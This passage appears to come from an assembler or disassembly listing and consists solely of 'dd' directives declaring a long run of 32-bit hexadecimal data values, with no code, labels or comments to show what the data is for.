		dd 2C7118Fh, 5A79D829h,	38A04897h, 0A3B6BDF9h, 0E82BD380h
		dd 0F1D10350h, 0F63680B9h, 11882814h, 0EBB006Ch, 0E1216CD5h
		dd 13682D24h, 0C0061F4h, 0C202F10Fh, 15420F7Eh,	4D2003E8h
		dd 0E7EA7CF5h, 946C8D00h, 0E6EEAE88h, 177F0559h, 0A0E9016Fh
		dd 69009FC4h, 0AF385786h, 663EBAh, 0E5516188h, 8DE27720h
		dd 8F429300h, 7EA729D3h, 698138B9h, 6ED8A060h, 6D1BC6B7h
		dd 0E051A071h, 740ED299h, 57410032h, 8F267C6Ah,	21C0BB21h
		dd 323DEED5h, 7AF40084h, 337C9A11h, 810EDCB1h, 0CAD7B997h
		dd 6008437h, 0D853390Ah, 0F190023h, 8C30CD22h, 0D0739A84h
		dd 0DA9B6B00h, 8320AE42h, 54263ABEh, 1974450h, 6CBF4D4Bh
		dd 0DC424E3Ch, 0B90E12BAh, 0A1D5AA7Ch, 1D773F81h, 0B446FE0h
		dd 0C471460Ch, 2FA97300h, 353AF473h, 80793923h,	83300D02h
		dd 0EEA578Fh, 0B55EBEA9h, 20721F86h, 30054D00h,	69CAAC1Bh
		dd 7F39073Bh, 0F749F4Ch, 0B604B40h, 3679552Ah, 220E0C00h
		dd 0A5FA7601h, 236C3C1Eh, 4F56D300h, 0CA616046h, 9F0290Eh
		dd 79909DC9h, 4EFE5C00h, 0C7606915h, 809BCC3Bh,	0F0141138h
		dd 7D732299h, 0F89F0F02h, 44A0A96Fh, 140F0E47h,	52292307h
		dd 3DC67073h, 522478D1h, 0C0170FBh, 0EF8F9430h,	68010BE9h
		dd 9CE13004h, 0D57EF0F2h, 58FF2D06h, 701DDAh, 0F1872524h
		dd 61471410h, 7DC55F20h, 0C312F838h, 21B96B88h,	3B6D1900h
		dd 45230E54h, 0C82F608Bh, 6FAC4E47h, 7182916h, 740CAF03h
		dd 28C000FDh, 0BA6CBD2Dh, 0B81C3CE6h, 9E408BFBh, 51D80E1Fh
		dd 26C6005Eh, 0E96B73F2h, 8003ABF9h, 9918D004h,	0E085CA1Ah
		dd 736195h, 88C51732h, 40E6E88Eh, 38316760h, 0D37980h
		dd 345B0487h, 0D799243Ah, 0AC6A6606h, 1828431Eh, 30093642h
		dd 3400BF81h, 970D6CE3h, 7C54EC6Fh, 0C44707FAh,	0CF1BF0h
		dd 7C967578h, 0C155AF2Fh, 0CDCC9787h, 0E8100B6h, 0CC53ACEAh
		dd 482E9F37h, 980797B4h, 0C340CEC1h, 1572583h, 908EBF03h
		dd 0C0EA81B0h, 10008A3Eh, 0E933D9FAh, 11BE878h,	46D266DBh
		dd 0C8E7E6D1h, 5D01BBC8h, 418397D4h, 3092B516h,	60C0ACE5h
		dd 0B6266218h, 22F91DEAh, 3600FC2Bh, 1DB2B7DAh,	0FE004C92h
		dd 49684154h, 18E653EDh, 30800E1Ch, 6314B964h, 1C94D9ADh
		dd 1870DCF0h, 72B7A2ABh, 8A38003Ah, 63E678C5h, 1D00CEF4h
		dd 0C43160FCh, 87619h, 4606583Dh, 0F63BAB5Bh, 260759F6h
		dd 7C619A2Dh, 7EAA41C0h, 17973CEEh, 0A0AB04D2h,	1F50B05Ah
		dd 0AE800509h, 4CE70075h, 23A3B30Bh, 42B6040Fh,	0FB6B4011h
		dd 17780669h, 15D10A6h
		dd 1A0E4C51h, 7723F0CDh, 499094B0h, 92ACC00h, 0C04F96C3h
		dd 6CDDC9h, 3B036B1Dh, 0ED076A20h, 50A2D43Dh, 0F36100CFh
		dd 1E9CCD13h, 0BA71014Eh, 0A17F0700h, 90B29764h, 992C4B06h
		dd 4C1FE0h, 0B37A5169h,	1E91CC43h, 407EF7Eh, 31F1F9E1h
		dd 0DAF8B860h, 0BA683CEEh, 6D28B931h, 48A5101Bh, 503C8019h
		dd 28474689h, 80461DD4h, 0D0222975h, 7FA32251h,	0F63CB550h
		dd 0F4294F64h, 94528621h, 828C179h, 10EC5CD8h, 37E886C8h
		dd 505D5029h, 29BDED2Bh, 0A2252A2h, 809424Ch, 1017BB59h
		dd 367084E0h, 441FE544h, 0A85DAC5Dh, 44C73278h,	8313F129h
		dd 58791142h, 632408F6h, 204D08B4h, 0EB2EE400h,	0FD0866h
		dd 0CAF37ADh, 10CBE087h, 6ED1ED00h, 0E5166AD5h,	58571E49h
		dd 0CAB54390h, 93908D95h, 0F6023F4Bh, 6D44EC0Bh, 0D0F660B6h
		dd 4D670021h, 0FEE63D52h, 0C900EB61h, 8A5578D1h, 3C20BE92h
		dd 828F7781h, 7C0671Dh,	3BFAF198h, 0BB1C7600h, 2C1F4808h
		dd 0ED3A0FC7h, 809C3E17h, 1B81218Dh, 4C734BB4h,	83D09100h
		dd 5A1182Ah, 4245006Dh,	9D1C74F0h, 4F00F720h, 8459481Ah
		dd 0BF52D2h, 0F30DCACh,	0C8EC2DDAh, 41D9B100h, 0A1C51C26h
		dd 18567AD5h, 98BB051Ah, 0C160404Ah, 81CA8920h,	37E000CFh
		dd 62C3CD9Ah, 613A182Ch, 0F7A39E75h, 0B1CA0280h, 7A4999Dh
		dd 69309E5Bh, 16BF20D7h, 5D00480Dh, 93B768C1h, 3EDDDE0h
		dd 93BC97Ah, 8EE8CBEBh,	0C3732153h, 5527300h, 0DEBB0D0Ah
		dd 0DF6716B7h, 0F0A4108Ch, 9939BF02h, 9C430836h, 73EDB1A0h
		dd 0AD699C00h, 0DDCA8B88h, 0D5FAEEh, 3B825085h,	0FA30E62h
		dd 401D303h, 0A07BE4CDh, 60DE83h, 939CE222h, 0FEE5D092h
		dd 0A9643202h, 8189F266h, 0D9DC86F8h, 2D9870h, 5ED29C1Dh
		dd 704F9418h, 0CB67F61Ch, 1A6B9B00h, 1ECAFE2h, 9C026CAh
		dd 0C10207BCh, 0FAF08081h, 99AFF752h, 3A401B1h,	4AE0AEB5h
		dd 36C2D80Eh, 0F326221Dh, 1F63CE00h, 1AE2C79h, 0BD57B9D6h
		dd 47645BEEh, 83E233EAh, 0BF8FDCE8h, 4FE3AD00h,	0F888E724h
		dd 51330081h, 805D9FA8h, 1A035E0Ah, 0EE600DC2h,	0E8FB981Fh
		dd 0DBA50FB8h, 0D7C0DE08h, 3E4074ABh, 419F5B00h, 1F15661Eh
		dd 125003Fh, 5D206A0h, 4E0F65B9h, 414654FAh, 0A1BE7E1Dh
		dd 1EF35E8h, 0BF7D6722h, 0C46101ABh, 0C4010232h, 0EBDCEAD9h
		dd 0CEE0A282h, 33A507EDh, 77370F69h, 1DC0FD1h, 8D415CFCh
		dd 9080F64Ch, 0BF39F46Ah, 20FB9C00h, 3E25B867h,	0D97752h
		dd 0F9CD3B26h, 350E7CE9h, 3C33D424h, 0BF72003Dh, 695D45E4h
		dd 57D71FC2h, 6576409Ch, 0DFEE6AD8h, 2110C0Fh, 780A4082h
		dd 12097Fh, 97046EABh, 0CA28796Dh, 5500700h, 0D749BC0Fh
		dd 57F642h, 533CDC9Bh, 6DFEB436h, 1E5AD01h, 9DEB4A6Bh
		dd 9B3389Ch, 26005210h,	0FB4CB7F5h, 113E0C01h, 0FCD280ECh
		dd 0B2F020h, 0E667AF92h, 2A40895Fh, 1DBAB803h, 0C87DC478h
		dd 107309h, 2FB4447Ch, 0F028536Eh, 3D0E8800h, 0FDB37B5Bh
		dd 421F002Eh, 0ED24F371h, 80025863h, 0D394E847h, 0CFF080E5h
		dd 60778A0Dh, 8E16F868h, 40002CC9h, 58D3CA25h, 776E324Fh
		dd 0CFD00FF9h, 0D720EBB4h, 34E9062Ah, 4ABF803h,	0A9CCF115h
		dd 88D8968Ch, 146098B6h, 0F0B871ADh, 419E0680h,	0BF2A19Fh
		dd 54D51800h, 1E9029A7h, 2BCB008Fh, 0CF90F67h, 24008378h
		dd 0FB452661h, 70A1CEDh, 0F33EA96Ah, 9B20EF4Bh,	9680BDE7h
		dd 465E8700h, 0D2336BBh, 709400E6h, 4E9AFD69h, 74007A05h
		dd 38B980CDh, 0FF1688Ah, 4AD29914h, 6925340h, 8E0F1BC4h
		dd 879E49E9h, 0E310632Fh, 0D451C0h, 3FE547Ah, 0EC1AEA2Ch
		dd 15E22100h, 0C705FD84h, 3EE30073h, 0A7CFE797h, 0AD0F3BBCh
		dd 0A18CF135h, 7EC311EFh, 0E9EC3531h, 52191E71h, 0E461436Eh
		dd 5CD08FD8h, 3E011173h, 4E584F39h, 0F4E27A9Bh,	0FAC0EAAh
		dd 0C58EE920h, 3B5BFF8Ah, 9029D1F0h, 727448h, 0C3F7D0E4h
		dd 0A75F5627h, 770F4BEEh, 0A0B05D9Eh, 25BC3E78h, 0ED5C0721h
		dd 0A4FA1C2Fh, 551F8048h, 0B9005F6Ah, 3DFF894Eh, 37B50B5h
		dd 65702752h, 2E01968h,	5800859Eh, 0E3A6425Bh, 387C389Ah
		dd 0DC00F013h, 0B7960D4h, 0E50056C1h, 31FDA207h, 0E382D8h
		dd 0BD26634Ah, 51D47BF8h, 7ABA3Ah, 0D16FD921h, 0AF73A8h
		dd 1BBE5BD7h, 6303F0E8h, 0B00C5F00h, 580A7119h,	7C3400B7h
		dd 0FB25F835h, 0D7029A2Dh, 57A4E127h, 4670407Dh, 0B5350036h
		dd 0B14332A1h, 6901225Fh, 0BC658F68h, 0EDD0DE02h, 7C8E1C06h
		dd 8D3CC0EFh, 0A2FCF456h, 0D2C33B07h, 93778C9h,	89C7808Bh
		dd 1557131h, 0E06EA494h, 60C4DE39h, 630088A2h, 0DB30E95Eh
		dd 897586h, 5C7EEC80h, 5B9357D8h, 0CEE87A00h, 32EF857Dh
		dd 0F2C60055h, 350D5A7Ch, 311C88A3h, 0F48EEA95h, 0C06B479Dh
		dd 977BBF10h, 0BD960393h, 5DE332C8h, 0B9E153F0h, 5C6F700h
		dd 441CB2A8h, 4754003Ah, 0BAE6A1DCh, 0F500414Ch, 9B7376A4h
		dd 3A907BA0h, 2BBC9DDFh, 8800ACCCh, 74B5F7A9h, 0FB14F4E5h
		dd 24FCFE70h, 9C3C62ABh, 807FE201h, 2EA21FDBh, 54FD981h
		dd 0C92F3A5Bh, 808B00CAh, 71031D29h, 5B65332Ch,	0B1B45C00h
		dd 8B5D3Ah, 0AB7E51C7h,	67849946h, 0A31B560Eh, 9FBEE001h
		dd 0A43BAEh, 7A35A9DCh,	58EDE6F6h, 0F1C2148h, 700C08A0h
		dd 31699500h, 15A75130h, 976AF23Ch, 5D00E08Ah, 5D0AAD6Ch
		dd 0D27E00D6h, 0F046EEF1h, 14014FCCh, 0FC3EC53h, 0A3F4DED0h
		dd 66E20041h, 8E4B3679h, 0A501950Ah, 0D15CE33Ch, 0A861A101h
		dd 2FC1FCh, 867A6FBAh, 72601265h, 0D36E3400h, 95407B0Bh
		dd 935A0015h, 86C2BA7Fh, 80EACE05h, 0E56E5D1Eh,	4679DDC0h
		dd 0E857E7h, 45C3B2A3h,	10476D3Fh, 2BA0D01h, 356FCD98h
		dd 9878E3FAh, 0FAEF3D5h, 0F27D4A48h, 88A9DF40h,	0D700E3EBh
		dd 0B9FF493Bh, 14B9794h, 9D6FFD71h, 3A30C592h, 6AB1EC00h
		dd 51E34Fh, 6E610F83h, 16C51E4Dh, 0F0006BF6h, 282E3DD0h
		dd 3BE31998h, 0CE80DCEFh, 3EB8570Ch, 0BB00FE64h, 0D0B28D78h
		dd 1FF3336h, 5E6D8B59h,	40D6CD81h, 13CCCEF4h, 7DEA7100h
		dd 8889491Fh, 0B3180579h, 80AF5A66h, 0D34F7A26h, 4B404506h
		dd 3E9EF7E2h, 52002A77h, 0A8C8B018h, 9205F6D1h,	276CC9EAh
		dd 3ECF407h, 118F2941h,	2860430h, 15C1FF52h, 0C8686D46h
		dd 994C2F7Dh, 0AB23000Ch, 90B85E69h, 0F076EE60h, 0BCFD2630h
		dd 9BCE00ACh, 43650253h, 5FA2700h, 0A3361A45h, 3AE700D5h
		dd 5B871E50h, 120734D3h, 0B1493F1Dh, 0DC5F3920h, 807C013Eh
		dd 2F1A9B7Fh, 9412D404h, 0BE88800h, 0B52E3B1Bh,	60A6040Ah
		dd 0C09FDCCCh, 325B3534h, 6F106500h, 979953B7h,	96BC01EDh
		dd 0F4DF08E7h, 9F8C803Bh, 4BD3494Dh, 0BA3E1F6Ah, 28AC354h
		dd 1A982D76h, 0A30151B7h, 0B6C673F4h, 0BEE886E6h, 0BF3F00EBh
		dd 0C1DF3902h, 81036414h, 0E97F7AC2h, 0B3B8057h, 0F8CB0FBBh
		dd 0D36AD0h, 0CD454024h, 0C00186AEh, 0CEED961Eh, 0A44472A9h
		dd 0DB1A80BBh, 6C0059ACh, 8D507EDAh, 0A0981BB4h, 282F57A0h
		dd 0C4109Bh, 74CDF61h, 0E81AFD12h, 0AA27F900h, 0AD39D25Fh
		dd 819E0B60h, 5D8626CBh, 7800F0BAh, 0C228F0A1h,	9D025h
		dd 3C4A1B44h, 8C23EA2Eh, 8B808503h, 0C8BC467Dh,	34FDDh
		dd 0BD464D6h, 0C49FF982h, 0C1CBAC00h, 73295737h, 6E8B002Bh
		dd 1B9434Fh, 9209CA9Bh
		dd 33F461Eh, 4EDE95h, 4C743418h, 0AB9A8F43h, 0E71DD600h
		dd 1FBDB7C3h, 0F8550010h, 6242F696h, 7100A498h,	1D03C926h
		dd 3F8FDAFBh, 0F7013590h, 0D5DCFF7Bh, 0D38860BDh, 5ECD3000h
		dd 9B623445h, 3E698D2h,	8C7BAA56h, 328F52C7h, 3C6081C1h
		dd 0A30057ABh, 0F7A7883Ch, 263077BBh, 4878834Ch, 53350BF4h
		dd 0C420900Eh, 0BA8BF419h, 0E2570B00h, 0C7746F6h, 0A76E00F1h
		dd 98548231h, 0E00E9E48h, 631BC163h, 0C07149E5h, 0E6F7BE26h
		dd 0FEDE0047h, 0CDF69925h, 5A1E4587h, 2E80BC39h, 52683C5h
		dd 48C9007Fh, 8D729CCEh, 7E00DB19h, 64FDA01h, 0A6A3DCh
		dd 0BAEE61E9h, 0F7D77125h, 13475C00h, 40C68A79h, 0BF1900F2h
		dd 41255301h, 5C00D3A3h, 7DFAA9F8h, 7E2719Fh, 55862FA0h
		dd 0A4736069h, 0A71C082Bh, 45009E5Ch, 0F0AF6777h, 179675EFh
		dd 178298Ch, 61043180h,	151DF8E6h, 9C71F802h, 85A2F435h
		dd 80EE95A5h, 604EA870h, 48EAE124h, 5B0EFA80h, 0D86577h
		dd 39562A85h, 80254086h, 24009B76h, 2CECA6BFh, 1830F15h
		dd 3CFFE5BAh, 3084AC43h, 9413D6FCh, 7056145h, 0AC07BECh
		dd 1FC2BC7h, 4B6F6CE8h,	0E4410775h, 0CD1FF036h,	0CE061062h
		dd 4CB87BA4h, 0D3000046h, 0AC550863h, 77007FEAh, 0BDB65B4Ah
		dd 1DE961Bh, 926D5ED8h,	0D7473061h, 8CC2FDF0h, 0EB533A01h
		dd 0B208D8Bh, 3883A2ECh, 7C9EAEEAh, 0FEEF49B9h,	0D149DA80h
		dd 52005C99h, 19889615h, 0A0E3F5E9h, 1C906F7h, 0EE289DDAh
		dd 0E121ECF6h, 78DC200Dh, 8CF4FB03h, 80C1AC62h,	7E484D0Fh
		dd 34C200CDh, 0F8BCE96Bh, 0BA0F98B7h, 83215F99h, 8ABEF715h
		dd 0D14390h, 73143A10h,	3203879h, 0E7B1BF28h, 0BA5E8EF9h
		dd 695E4FDDh, 0DAC4810Eh, 0BCC0656Eh, 0B4EC033Eh, 30938C51h
		dd 94525790h, 38E64Ch, 72D465F5h, 12E3A7Bh, 15FFD70Dh
		dd 80601BA1h, 0E3CCEB20h, 0CC96BDF1h, 0E16679C8h, 8EFC34EFh
		dd 3E183775h, 9820B1A2h, 69A601DFh, 9F8FCD7h, 0F4E03B41h
		dd 307360C6h, 96F7D2B7h, 0F08DB00Eh, 8B903A1h, 21F6BAh
		dd 5031343Dh, 9E15DE78h, 0E214A702h, 64F669FCh,	53B800D4h
		dd 553E83DBh, 9906DC58h, 79549B1Eh, 3B8900F8h, 0C7071F64h
		dd 0E312A7FBh, 6C03E4BDh, 0D132E9A5h, 4220655Ch, 715A00EEh
		dd 0C18D8791h, 0F302D8B4h, 5E3F856Dh, 96C8688Eh, 0AA1B1CDDh
		dd 27DCC1CCh, 0C49B4645h, 2B7C104Eh, 93D7D04h, 0D0D00E91h
		dd 935BEA9h, 39F48195h,	2BF89C43h, 0D4EE364Dh, 42A0EC00h
		dd 942FBE05h, 23550099h, 2CFC7E1Ch, 0F754FA3Eh,	0B001ADB4h
		dd 0F9EED73h, 0FCD89004h, 4D490053h, 0DB0A94A1h, 0B9C0DE19h
		dd 16E65DCAh, 6910223h,	0A334EEE4h, 404CF460h, 4697A500h
		dd 6948502Bh, 0C70965Ch, 0BCA8BD1Dh, 5D93DC3Ch,	0D8A90EDCh
		dd 77590087h, 0D36429h,	0C19E7B21h, 0FB31CD85h,	0BADE0C00h
		dd 782AFE9Ah, 89D300ACh, 7A07C928h, 0C306C8F8h,	0B30AA2C2h
		dd 0BF522BC9h, 0A2D38034h, 0F1F9B9FBh, 0B10E801Fh, 53248B00h
		dd 1C2ACA8h, 18CEDDE6h,	5283B6F4h, 5B60F52Ch, 680775D4h
		dd 0C511C17Fh, 445558E0h, 1CAEC32h, 0A773C2E2h,	0F464DC85h
		dd 607A0686h, 9789B000h, 94B26731h, 567B00F2h, 80BBF8BAh
		dd 1E3AEC0Ch, 5DA50FB6h, 0BF150036h, 316E3Bh, 52134802h
		dd 0ECEE2477h, 74505E09h, 9D0800C5h, 277063h, 6C366B33h
		dd 802B6149h, 7AD14202h, 0C01AAC56h, 75C20A32h,	178C1F86h
		dd 0A7644058h, 9C27A9FDh, 0FEE87E01h, 8577A57Fh, 304BC3D0h
		dd 5BB08D03h, 0FB009654h, 4A82F7D5h, 8478C9h, 0CD0EEF5Eh
		dd 159A128Dh, 0C834A303h, 0C4CB5Dh, 16536350h, 6EEDAFA1h
		dd 0CDCE8103h, 0C070824Eh, 0B813B011h, 9B600C1h, 43E19C30h
		dd 0AB0C9F19h, 78743C92h, 0FCF90066h, 0C813456Ch, 0FE1D3783h
		dd 75C0EEDFh, 2920E5Fh,	508A009Fh, 0D5197EA3h, 2900C940h
		dd 85480ACDh, 990410h, 522BCCD1h, 0C2C5FF68h, 0C7A39650h
		dd 0A567DF00h, 0E2915C87h, 768A1F47h, 1C5EC378h, 7DF06EB4h
		dd 0FE02820Fh, 3D4FC62Dh, 0A9BEE847h, 0BAC40065h, 84490B6Fh
		dd 23037C81h, 2A4EC153h, 524097D8h, 7D17EEh, 62A6C843h
		dd 5550E808h, 0E8EF49h,	0C1B210F4h, 631F66h, 49810224h
		dd 38ADEFA3h, 0D0235400h, 0BF2B8B18h, 643600B0h, 0B8DC95DDh
		dd 0BA747D94h, 66815E00h, 78484EA3h, 7EFC9213h,	92170724h
		dd 0CECBDFh, 605DB1D2h,	198724Ch, 4F2EF29Ah, 0B4448369h
		dd 0B4000C94h, 3EA6C7AAh, 4938FCD4h, 0BB009029h, 0F81E966Ah
		dd 52EE01AEh, 7CABBE0Bh, 0B5D010FFh, 0EFD30306h, 0FCB0A5Dh
		dd 7F1C5001h, 0F99E5158h, 0B0A94987h, 7BDA20F7h, 0CC07481Ah
		dd 0C3A2A19Dh, 0CFF4E480h, 9CC74D01h, 74805C38h, 0CCF54937h
		dd 98A07117h, 6EB88972h, 80369038h, 0E8EDBF29h,	9D46D8h
		dd 0C0BCE787h, 435850CAh, 3ACB248h, 85D8BBAh, 1340007Dh
		dd 56C871EDh, 0DD010E22h, 9C0D260Fh, 7981EB61h,	54BF4196h
		dd 0C274E0A8h, 0E6F16F0Fh, 41009211h, 71928A28h, 7C23007Eh
		dd 0C36F47CEh, 4100DCF8h, 669889AFh, 0CD72E45h,	0B7B0B8E9h
		dd 0EA003BF8h, 74688749h, 8A6F55h, 75611159h, 5F15A6A1h
		dd 743F2448h, 0EE9D360Fh, 70E126C2h, 15630090h,	95543274h
		dd 7500E758h, 9CF83F5Bh, 0B1E81Ch, 0FE6C630Dh, 0C8E28A8h
		dd 7905277Eh, 36AA20C2h, 74CD86C0h, 0CAC48B4h, 88306D09h
		dd 0D54D9C60h, 0E5A9971Dh, 0E4007C11h, 8FD74241h, 27E891BDh
		dd 1E7D5B3Eh, 0A980783Ah, 441CC808h, 54F600C6h,	64E6BAD2h
		dd 784E89FFh, 2985BC00h, 8B688Ch, 6D28F947h, 72ABA59Bh
		dd 2D0A7100h, 0CFD9AE21h, 90D8008Fh, 5AF7BD76h,	8D0F818Ah
		dd 80481716h, 86B3AB43h, 9CFC05h, 9049E71Dh, 36F2A03Eh
		dd 5F120700h, 0BD65BF80h, 0A81F01E6h, 638BB892h, 0BA01D08Ah
		dd 0AC5E1500h, 11FD87FCh, 6ECC00AEh, 9278D0B1h,	68136740h
		dd 38C232BEh, 1CA4585Ch, 90CB9FF9h, 5A060B12h, 0DBF800ABh
		dd 23B4EE5h, 0F3EEDE7Dh, 0B2E02664h, 38073C3Ah,	0F0291DADh
		dd 0FE416000h, 0CD9507C6h, 0BFF57F6Fh, 3CE7A9A1h, 7080C4DDh
		dd 0A4F92601h, 689FBC9h, 0CC75B06Fh, 0E0A07E03h, 91E14C57h
		dd 24ECE92Dh, 837A3AC2h, 0F4430700h, 0E370D48Fh, 7600B176h
		dd 381B56DDh, 0DECD77h,	0BA28D6ECh, 85C36B93h, 62861E07h
		dd 0A8D0DC04h, 8AB90Bh,	9A4F5E0Ah, 9013E316h, 0BC823400h
		dd 0E8F852F0h, 0AA370025h, 0C11DA670h, 6F00D49Ch, 179536ACh
		dd 7D8D98A1h, 3DF0EEEh,	2A4038E5h, 14D6C9FDh, 0ACBE3B28h
		dd 2B0327B0h, 0D8A56109h, 507080C4h, 0AD071CF0h, 6C2C013h
		dd 8D2AA7B1h, 0DA637900h, 6D0D18FFh, 98AAF811h,	40A0001Ah
		dd 42EBDE2Ah, 45504462h, 0FB05F4ACh, 0E40B7948h, 5D58C400h
		dd 0CAEF4Ah, 0C6EE61D3h, 802EF162h, 6B081700h, 1AE57ED6h
		dd 47BF00DDh, 0E0AB7B35h, 5E079E1Fh, 9DF50249h,	0F28C3A81h
		dd 1F4763F4h, 0CF0E51h,	0D77225DCh, 650ECA0Dh, 0B6CB6C3Ch
		dd 41578900h, 4BE754h, 43DA6F20h, 67D6987Fh, 0C396B80Bh
		dd 0EDB40028h, 3692979h, 40D8E95Fh, 31E0CFB4h, 4516DB56h
		dd 58007C44h, 6C0854B7h, 0BE200CCh, 0B037FFEAh,	0A51FC6FAh
		dd 0E349F22Dh, 10AC8014h, 1A331C84h, 9CBCCFD2h,	6200A4D2h
		dd 0AAB2C07Dh, 1D0B8587h, 0C074D9C7h, 0BDFE7B9Ch, 12000EEEh
		dd 0B7279306h, 3022E0Ah
		dd 8BC22D9h, 0DBD87ACFh, 89EFF6Fh, 28AA200h, 90262E9Dh
		dd 4B970917h, 81ABEEh, 0D0BC65A0h, 67B83983h, 5F3E9D00h
		dd 7AC91093h, 0FBB0713h, 50BE952Fh, 0AF09BEBh, 0B3ED800Eh
		dd 80558FA0h, 0E1692C1Bh, 0B8D80075h, 0A296F7A7h, 0D6020A0Bh
		dd 0BA8CC571h, 3ED850E7h, 0A126844Dh, 80C824DBh, 0C3516DC8h
		dd 42E82290h, 0B4463900h, 73B79E44h, 20BA0E76h,	71C0C59Dh
		dd 5E86D08Ah, 833E8400h, 957F2989h, 94EF1FB8h, 70D1CD45h
		dd 6865D4DCh, 49001490h, 58AFDDFBh, 0B85DF7A8h,	0B0340640h
		dd 0F4A2D8F9h, 1919943Fh, 66A09B10h, 5AFC6EFDh,	0D20F143Bh
		dd 4F0FABFDh, 11E08E59h, 0B2E895C8h, 0BAF34B0Eh, 0DAE12037h
		dd 10D741h, 18747579h, 42127E47h, 0D574C00h, 0BE39DF9h
		dd 654316D3h, 67B000A1h, 99D92444h, 932C1278h, 3900B4CBh
		dd 58A71D35h, 0D83D4DAAh, 81834D06h, 0D000393Ah, 2DF03727h
		dd 12887EA2h, 0B2358h, 0EF564EFh, 1400EF17h, 0BD2FEDF2h
		dd 916D1Bh, 90E2C850h, 0E0394DF3h, 0E890BCFCh, 0F42C2E1Ch
		dd 1CDDCC8Eh, 0B400E8D6h, 3F458E6Dh, 3EAA000Fh,	0A532AF59h
		dd 0C100C521h, 58155750h, 5EB25A09h, 0D650400Ch, 8C2A4FF1h
		dd 4CF03031h, 1864C5CEh, 67AA1F56h, 0F836D577h,	28106E25h
		dd 0FB00AD3Fh, 74F2F7FAh, 0B8093CAEh, 6AB12CFFh, 8F3F0099h
		dd 10ABD7C9h, 3A2C6C09h, 0A09C0E6Dh, 0B84A535Ah, 0ED1B012Eh
		dd 4D27A014h, 0C2C3F06Ah, 9BD56D03h, 0D67D0E04h, 597B245Eh
		dd 0A4BE0008h, 56323625h, 0BD36302h, 0E0B8CDB5h, 3AA2F8h
		dd 87DBDEAFh, 32C58926h, 81289E25h, 52664EFCh, 39E970h
		dd 915095A8h, 97EC402Bh, 171C7701h, 62FB6ED9h, 7DE64BC8h
		dd 7208F2BEh, 0D51B0084h, 0F0E39F4Ah, 580F751Ch, 80A85F45h
		dd 0D09531D9h, 0D0B001Fh, 7581ACC9h, 9B02704h, 260CFA4Ch
		dd 0E70001DCh, 5CC266F0h, 97600058h, 8F8C2CA3h,	9C0016FCh
		dd 0D9EEAFE0h, 0A2940Eh, 58AD7F1Dh, 0F86ED40Ah,	0B261BA04h
		dd 3480EBFCh, 19A067h, 54E826EEh, 0F5F627F7h, 1A0A38h
		dd 1DE0B6F9h, 3E045686h, 0CE849DDFh, 0C7AA3D5Ah, 64B9907Fh
		dd 71007C4Dh, 7817D4A1h, 3F4F284Ah, 6000F7AAh, 1E7F7019h
		dd 99029813h, 6A2C36C4h, 48354083h, 0C8C70B17h,	200671Ah
		dd 0ADA06E6Ch, 49B86000h, 52627835h, 7DE916F6h,	19504356h
		dd 1DC83240h, 7300333Ah, 9F904FB7h, 985FC84h, 257ABBE4h
		dd 0A76AF4E0h, 0EFDEAD04h, 0CCC0E395h, 9AC54Dh,	4B30BA97h
		dd 0C23D6862h, 0D7D18F00h, 0F37AE7A2h, 9A203BA5h, 4F76AD80h
		dd 0D99CC2AFh, 7F63D60Fh, 0A492055h, 5868043h, 1EE564ADh
		dd 0A7ACD0A1h, 8E001CC4h, 0F1F4670Eh, 0A30789h,	0DD8791BCh
		dd 75F99EFAh, 3A624E00h, 0A00F449Fh, 5C2A3AD6h,	96FDEE80h
		dd 0C2BCB166h, 6C6348h,	4B082C38h, 2CA5741Ah, 43A43A5Dh
		dd 7A98660Ah, 0BD071052h, 6CE26F33h, 16814770h,	1CB73E6h
		dd 373BEF29h, 0D8362CCFh, 112C2AD1h, 0F8270813h, 0B4D812EEh
		dd 0E3C44060h, 941296B2h, 16104660h, 34713Ah, 3B098A47h
		dd 0AF068BBCh, 0B115A600h, 0B3217B38h, 59D425E1h, 124A288Ah
		dd 9174C0C6h, 1F12600Eh, 0B88024B3h, 0DDCB73A0h, 0F5F48074h
		dd 0D2A443AEh, 802EC32Eh, 7AD46C00h, 722DEB9h, 0C634C1CDh
		dd 1E0A9012h, 8C00AE0Ch, 0A0D63209h, 110233h, 3B7BB16Bh
		dd 995EC0EBh, 4D944B03h, 890608C8h, 0BFF0C9A5h,	3A470025h
		dd 851E1676h, 0B6000EA2h, 1B3365E9h, 0F0B793h, 42CFCBEEh
		dd 4F607447h, 7852A776h, 83B10FB4h, 6149E028h, 12D64116h
		dd 13F8D8A3h, 0D5A9009Ch, 0C0817A6Ah, 7964AB01h, 0B5AE2611h
		dd 75B69C0h, 0C8EAA0DCh, 6220D094h, 0D309060Dh,	8088D10Ch
		dd 0FFA872CAh, 83190285h, 4D7EEE05h, 8C0D9C40h,	284B3F79h
		dd 188A400h, 7C18E611h,	0D1E91D4Eh, 3E6026E5h, 8D0A6D89h
		dd 0CC809851h, 0D90EBAD3h, 0C83501EEh, 2445CA5h, 17F430B3h
		dd 0FB49500h, 0F5801948h, 3A1B01BCh, 700B2DEAh,	0DC8C605Bh
		dd 6A59FD00h, 0EEC0D6B6h, 4A6D00C1h, 4FAE54D3h,	362521E3h
		dd 0DC04009Ch, 12E5FBE9h, 17A14E6h, 0EC5B7134h,	6C002E1Ah
		dd 7B36F6Eh, 507F0081h,	2A515ABh, 290063ADh, 1CE7B50Dh
		dd 79D21068h, 27BA4CD3h, 3912FE03h, 0B3E0F531h,	0A8F4A6C4h
		dd 845D3207h, 95F0FCEFh, 83E223h, 5BD592CAh, 2C466DBFh
		dd 0F19CE02h, 0E098ACB8h, 0E0EF0888h, 508C001Bh, 0C22F119Eh
		dd 4800E115h, 0F3C023BDh, 0D513A0h, 3B92686h, 1A5DF5DCh
		dd 7C827300h, 0A81039ECh, 328F2491h, 0B00396Ch,	963C4E3Eh
		dd 4F07FE79h, 7230B89Ah, 2246BD80h, 1C5A00C2h, 73C77F19h
		dd 7D3DA58Ah, 0BD0A839Bh, 9F5D866Eh, 7416EA73h,	0ACFC50h
		dd 0C4B67942h, 787C616Bh, 0D4155Dh, 82B46DC5h, 44607Ah
		dd 0CB5F9E33h, 0CAD5A2CCh, 4048A900h, 56FC87F6h, 492C0729h
		dd 0F0551182h, 3401FF27h, 14BAD8FAh, 47023502h,	0C04E48E5h
		dd 0FC9C174h, 86BA1CEDh, 6D4C73C0h, 0E2166354h,	8200D67Ah
		dd 0CCAF7959h, 299C00C3h, 0BD243908h, 8200D268h, 75F2E56Eh
		dd 3AF4462Ah, 510029CCh, 8365FCF0h, 39006DA7h, 0ADC79357h
		dd 98AC01EFh, 0DC85001Ch, 6BCB3406h, 6C000EF0h,	53E65910h
